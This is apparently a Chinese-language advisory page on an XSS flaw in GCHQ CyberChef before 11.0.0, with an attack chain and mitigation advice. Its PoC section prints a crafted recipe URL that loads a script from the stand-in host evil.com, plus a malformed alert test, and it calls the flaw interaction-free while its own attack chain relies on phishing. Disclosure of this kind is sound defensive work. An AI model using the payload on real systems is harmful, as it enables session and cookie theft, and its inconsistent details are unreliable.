IPBUF安全漏洞报告
English
CVE-2026-42615 CVSS 7.2 高危

CVE-2026-42615 GCHQ CyberChef XSS漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-42615
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GCHQ CyberChef

相关标签

XSSCyberChefWeb安全跨站脚本CWE-79

漏洞概述

GCHQ CyberChef 11.0.0 之前的版本存在跨站脚本(XSS)漏洞。该漏洞出现在“Show Base64 offsets”功能中,由于未对输入数据进行充分的转义处理,攻击者可以通过精心构造的 URL 参数注入恶意 JavaScript 代码。由于该漏洞无需用户交互即可触发,一旦受害者访问恶意链接,攻击者即可在受害者浏览器中执行任意脚本,导致敏感信息泄露或会话劫持。

技术细节

该漏洞源于 GCHQ CyberChef 的“Show Base64 offsets”功能在处理用户提供的输入时,未能进行适当的上下文感知输出编码。攻击者可以利用 URL 哈希片段(即 #recipe)传递恶意载荷。具体而言,通过构造如 Show_Base64_offsets('%3Cscript...') 的参数,将 HTML 标签注入到输入流中。当 CyberChef 在客户端解析并执行该配方时,恶意脚本会被动态插入到文档对象模型(DOM)中并执行。由于漏洞无需用户交互(UI:N)且网络攻击面复杂(S:C),攻击者可借此绕过同源策略限制,窃取用户会话令牌或执行未授权操作。

攻击链分析

STEP 1
侦察与准备
攻击者确认目标使用的是 GCHQ CyberChef 11.0.0 之前的版本,并准备包含恶意脚本的载荷。
STEP 2
生成恶意链接
攻击者利用“Show Base64 offsets”功能的漏洞,构造包含 XSS Payload(如 %3Cscript)的特制 URL。
STEP 3
诱导访问
攻击者通过网络钓鱼或其他社会工程学手段,诱导受害者点击该恶意链接。
STEP 4
执行攻击
受害者的浏览器请求并加载该页面,CyberChef 解析配方参数并将恶意脚本注入 DOM 执行。
STEP 5
利用与渗透
恶意脚本在受害者浏览器上下文中运行,窃取 Cookie、会话令牌或重定向至恶意网站。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC URL generated based on vulnerability description // Access the vulnerable CyberChef instance with the following URL: // https://[target]/#recipe=Show_Base64_offsets('%3Cscript%20src%3Dhttp%3A%2F%2Fevil.com%2Fexploit.js%3E%3C%2Fscript%3E') // Alternative simple alert test: // https://[target]/#recipe=Show_Base64_offsets('%3Cscript%20alert(1)%3E')

影响范围

GCHQ CyberChef < 11.0.0

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界部署 Web 应用防火墙(WAF)并配置严格的内容安全策略(CSP),限制脚本来源,防止恶意脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表